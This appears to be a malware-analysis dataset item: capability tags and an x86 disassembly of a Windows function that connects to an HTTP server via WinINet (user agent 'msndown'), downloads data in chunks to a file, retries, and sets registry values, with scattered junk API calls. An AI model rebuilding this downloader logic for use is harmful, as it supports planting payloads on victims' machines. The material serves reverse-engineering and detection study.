Function at 0x401060
Capabilities:
Check http status code
Clear file content
Connect to http server
Create http request
Delete file
Download and write a file
Get common file path
Query or enumerate registry value
Read .ini file
Read and send data from client to server
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4042f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x134
push ebx
push ebp
push esi
push edi
mov esi, ecx
xor edi, edi
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], esi
mov dword [0x407208], edi
call fcn.00403f44
lea ecx, [esp + 0x14]
mov dword [esp + 0x14c], edi
call fcn.00403f44
lea ecx, [esp + 0x18]
mov byte [esp + 0x14c], 1
call fcn.00403f44
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x1c]
push eax
mov byte [esp + 0x150], 2
call sub.MFC42.DLL_CString::CString_1
mov byte [esp + 0x14c], 3
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push str.ehsc
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push str.qydml
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
lea ecx, [esp + 0x42]
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x3c]
push eax
push ecx
push edx
call sub.MFC42.DLL_AfxParseURL
test eax, eax
je 0x401581
cmp dword [esp + 0x34], 3
jne 0x401581
push 0
push 0
push 0
push 0
push str.msndown
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x30], ebx
je 0x40145e
mov eax, dword [esp + 0x14]
push 0
push 0
push 3
push str.HTTP_1.0
push 0x40720c
push 0x50
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x2c], ebp
je 0x401457
mov ecx, dword [esp + 0x18]
push 0
push 0x80000000
push 0
push 0
push str.HTTP_1.0
push ecx
push 0x40707c
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x40144c
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x401441
lea edx, [esp + 0x38]
push 0
lea eax, [esp + 0x48]
push edx
push eax
push 0x13
push ebx
mov dword [esp + 0x4c], 0x100
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x4011f1
lea ecx, [esp + 0x44]
push ecx
call dword [sym.imp.MSVCRT.dll_atol]
add esp, 4
mov dword [esp + 0x3c], eax
jmp 0x4011f5
mov eax, dword [esp + 0x3c]
cmp eax, 0xc8
jne 0x40142e
mov al, byte [esp + 0x164]
test al, al
je 0x40131c
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push 0
push 0
push str.wuvs
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov edx, dword [esp + 0x160]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x10]
push 0
push eax
mov byte [esp + 0x154], 4
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x4012e8
mov eax, dword [esp + 0x10]
mov edx, dword [esi + 4]
add esi, 4
push 0
push 2
push eax
mov ecx, esi
call dword [edx + 0x28]
test eax, eax
jne 0x4012a1
lea ecx, [esp + 0x10]
mov edi, 4
mov byte [esp + 0x14c], 3
call sub.MFC42.DLL_CString::CString
mov esi, dword [esp + 0x20]
jmp 0x401441
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x38]
mov edi, eax
mov eax, dword [esi]
push 2
push 0
mov ecx, esi
call dword [eax + 0x30]
push 0
push 0
push 0
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetSetFilePointer]
mov ecx, dword [0x407208]
mov esi, dword [esp + 0x20]
add ecx, eax
mov dword [0x407208], ecx
lea ecx, [esp + 0x10]
mov byte [esp + 0x14c], 3
call sub.MFC42.DLL_CString::CString
jmp 0x40133c
mov eax, dword [esp + 0x10]
mov edx, dword [esi + 4]
lea ecx, [esi + 4]
push 0
push 0x1002
push eax
call dword [edx + 0x28]
test eax, eax
jne 0x4012d5
lea ecx, [esp + 0x10]
mov edi, 4
mov byte [esp + 0x14c], 3
call sub.MFC42.DLL_CString::CString
jmp 0x401441
mov edx, dword [esp + 0x158]
mov ecx, dword [esp + 0x15c]
xor eax, eax
mov edi, dword [edx]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ebp, [esi + 0x14]
push 0x407070
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.djbv
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push 0
push 0
push 0
push 0
push 0
push str.dfgd0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0
push 0
push 0
push 0
push str.sdfe
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, 0x100
xor eax, eax
mov edi, ebp
mov dword [esp + 0x24], eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
push eax
push 0x400
push ebp
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
jne 0x40141e
mov al, byte [esp + 0x164]
test al, al
je 0x4013ca
mov eax, dword [esp + 0x24]
mov edx, dword [esi + 4]
add esi, 4
push eax
push ebp
mov ecx, esi
call dword [edx + 0x40]
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x50]
jmp 0x4013fc
mov eax, dword [0x407208]
mov ecx, dword [esp + 0x24]
mov edi, dword [esp + 0x15c]
lea edx, [eax + ecx]
cmp edx, edi
ja 0x401427
mov edx, dword [esp + 0x158]
mov esi, ebp
mov edi, dword [edx]
add edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x24]
mov edx, dword [0x407208]
add edx, eax
cmp eax, 0x400
mov dword [0x407208], edx
jb 0x401478
mov esi, dword [esp + 0x20]
jmp 0x40133f
mov edx, dword [esi + 4]
lea ecx, [esi + 4]
call dword [edx + 0x54]
mov edi, 5
jmp 0x401441
push eax
lea eax, [esi + 0x14]
push 0x40704c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebp, dword [esp + 0x2c]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [esp + 0x30]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jge 0x401533
jmp 0x4010d8
push 0
push 0x407048
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push str.asdf
push 0
push 0
push str.asdf
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov al, byte [esp + 0x164]
test al, al
je 0x4014ba
mov ecx, dword [esp + 0x20]
add ecx, 4
mov edx, dword [ecx]
call dword [edx + 0x54]
test ebx, ebx
je 0x4014c9
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
jmp 0x4014cf
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x4014da
push eax
call esi
mov eax, dword [esp + 0x30]
test eax, eax
je 0x4014e5
push eax
call esi
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x14c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x14c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x14c], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x4015cd
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x14c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x14c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x14c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 0xfffffc16
jmp 0x4015cd
lea ecx, [esp + 0x1c]
mov byte [esp + 0x14c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x14c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x14c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov dword [esp + 0x14c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 0xffffff9c
mov ecx, dword [esp + 0x144]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x140
ret 0x14